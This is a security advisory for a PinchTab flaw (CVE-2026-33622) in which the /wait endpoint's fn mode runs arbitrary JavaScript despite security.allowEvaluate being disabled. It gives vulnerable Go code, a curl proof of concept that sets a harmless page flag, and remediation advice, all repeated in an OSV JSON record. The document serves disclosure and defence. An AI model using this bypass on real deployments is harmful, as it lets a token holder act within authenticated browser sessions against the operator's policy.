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GHSA-W5PC-M664-R62V

Vulnerability from github – Published: 2026-03-24 19:43 – Updated: 2026-03-24 19:43

Summary

A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution

Details

Summary

PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.

POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.

This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.

The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.

Details

Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:

// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
    return h != nil && h.Config != nil && h.Config.AllowEvaluate
}

func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
    if !h.evaluateEnabled() {
        httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
            "setting": "security.allowEvaluate",
        })
        return
    }
    // ...
}

In the same releases, /wait did not apply that guard before evaluating fn:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
    mode := req.mode()
    if mode == "" {
        httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
        return
    }

    // No evaluateEnabled() check here in affected releases
    // ...
}

Issue 2 — fn mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
    matchLabel = "fn"

// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))

Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.

Issue 3 — Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.

PoC

Prerequisites

PinchTab v0.8.3, v0.8.4, or v0.8.5
A configured API token
security.allowEvaluate = false
A reachable tab context, created by the caller or already present

Step 1 — Confirm /evaluate is blocked by policy

curl -s -X POST http://localhost:9867/evaluate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"expression":"1+1"}'

Expected:

{
  "code": "evaluate_disabled"
}

Step 2 — Open a tab

curl -s -X POST http://localhost:9867/navigate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com"}'

Example result:

{
  "tabId": "<TAB_ID>",
  "title": "Example Domain",
  "url": "https://example.com/"
}

Step 3 — Execute JavaScript through /wait using fn mode

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"(function(){window._poc_executed=true;return true})()",
    "timeout":5000
  }'

Example result:

{
  "waited": true,
  "elapsed": 1,
  "match": "fn"
}

Step 4 — Verify the side effect

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"window._poc_executed === true",
    "timeout":3000
  }'

Example result:

{
  "waited": true,
  "elapsed": 0,
  "match": "fn"
}

Observation 1. /evaluate returns evaluate_disabled when security.allowEvaluate is off. 2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases. 3. The first /wait request introduces a side effect in page state. 4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.

Impact

Bypass of the explicit security.allowEvaluate control in v0.8.3 through v0.8.5.
Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
Inconsistent security boundaries between /evaluate and /wait, making the configured execution policy unreliable.
This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.

Suggested Remediation

Make fn mode in /wait enforce the same policy check as /evaluate.
Keep non-code wait modes available when JavaScript evaluation is disabled.
Add regression coverage so the policy boundary remains consistent across endpoints.

Severity ?

6.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.3"
            },
            {
              "last_affected": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:43:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 \u2014 `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go \u2014 v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n    return h != nil \u0026\u0026 h.Config != nil \u0026\u0026 h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n    if !h.evaluateEnabled() {\n        httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n            \"setting\": \"security.allowEvaluate\",\n        })\n        return\n    }\n    // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n    mode := req.mode()\n    if mode == \"\" {\n        httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n        return\n    }\n\n    // No evaluateEnabled() check here in affected releases\n    // ...\n}\n```\n\n**Issue 2 \u2014 `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\ncase \"fn\":\n    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n    matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, \u0026result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 \u2014 Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 \u2014 Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"expression\":\"1+1\"}\u0027\n```\n\nExpected:\n\n```json\n{\n  \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 \u2014 Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"https://example.com\"}\u0027\n```\n\nExample result:\n\n```json\n{\n  \"tabId\": \"\u003cTAB_ID\u003e\",\n  \"title\": \"Example Domain\",\n  \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 \u2014 Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"tabId\":\"\u003cTAB_ID\u003e\",\n    \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n    \"timeout\":5000\n  }\u0027\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 1,\n  \"match\": \"fn\"\n}\n```\n\n**Step 4 \u2014 Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"tabId\":\"\u003cTAB_ID\u003e\",\n    \"fn\":\"window._poc_executed === true\",\n    \"timeout\":3000\n  }\u0027\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 0,\n  \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
  "id": "GHSA-w5pc-m664-r62v",
  "modified": "2026-03-24T19:43:30Z",
  "published": "2026-03-24T19:43:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution"
}

Search criteria ⓘ Use full-text search for keyword queries. Combine vendor, product, and sources to narrow results. Enable “Apply ordering” to sort by dates instead of relevance.

Related vulnerabilities

GHSA-W5PC-M664-R62V

Summary

Details

PoC

Impact

Suggested Remediation

Search criteria ⓘ Use full-text search for keyword queries.
Combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by dates instead of relevance.